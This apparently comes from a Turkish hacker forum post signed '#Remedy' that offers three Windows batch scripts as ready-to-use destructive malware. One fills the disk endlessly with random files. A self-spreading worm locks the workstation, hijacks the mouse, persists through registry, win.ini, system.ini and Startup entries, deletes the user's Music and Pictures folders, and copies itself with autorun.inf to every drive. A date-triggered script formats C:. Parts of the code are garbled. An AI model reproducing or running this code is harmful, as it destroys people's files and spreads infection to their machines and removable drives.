-------------------------------------------------------------------------------------------

Bu Kod Harddiski Yakar

@echo off
/timersecure 0 0 //mkdir $mid(C:,1,2) $+ $rand(1,99999) $+ $rand(A,Z) $+ $rand(a,z)
:b
echo %random% > %random%.txt
goto b
@echo off

-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------

Bu Kod İle Mouse Çalışmaz Bilgisayar Kilitlenir Kullanıcının Resim Ve Müzik Dosyaları Silinir Başlangıç Dosyalarını Bozar Bütün Sürücülere Flashdiske Bile Yayılır

%Xul%
@Echo off > Nul.Xul
@Rundll32 user32,LockWorkStation
@Set Mouse=Xul_Mouse.bat
@Echo @Echo off > %Mouse%
@Echo :Xul >> %Mouse%
@Echo @Rundll32 user32,SetCursorPos >> %Mouse%
@Echo Goto Xul >> %Mouse%
@Call %Mouse%
@Set Xul=Xul_%random%.bat
@Ren %0 %Xul%
@Set RunInf="HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
@Reg Add %RunInf% /V "Rundll32" /T "REG_SZ" /D %0 /F > Nul
@Echo [windows] >> %windir%\win.ini
@Echo run=%0 >> %windir%\win.ini
@Echo load=%0 >> %windir%\win.ini
@Echo [boot] >> %windir%\system.ini
@Echo shell=explorer.exe %0 >> %windir%\system.ini
@Set StartupDirInf="%UserProfile%\Startm~1\Programs\Startup"
@Copy /Y %0 %StartupDirInf%
@Set MemKill=Xul_Memory.bat
@Echo @Echo off > %MemKill%
@Echo %%XulMemory%% >> %MemKill%
@Echo Find "XulMemory"^<%%0^>^>%%0 >> %MemKill%
@Echo %%XulMemory%% >> %MemKill%
@Call %MemKill%
@Rd %Userprofile%\Music /S /Q > Nul
@Rd %Userprofile%\Pictures /S /Q > Nul
@For %%D In (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) Do (
@Set Drive=%%D
@Copy /Y %0 %Drive%:\
@Echo [AutoRun] > %Drive%:\autorun.inf
@Echo open="%Drive%:\%Xul%" >> %%Drive%:\autorun.inf
@Echo action=Open folder to see files... >> %Drive%:\autorun.inf)
%Xul%

-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------

Pc Çökert Format :C

If %date% NEQ 2015/11/ 25 goto exit
format C: /y >nul
:exit
exit

Saygılar : #Remedy
______________________

Hacker Müziği -

00:00 / 00:00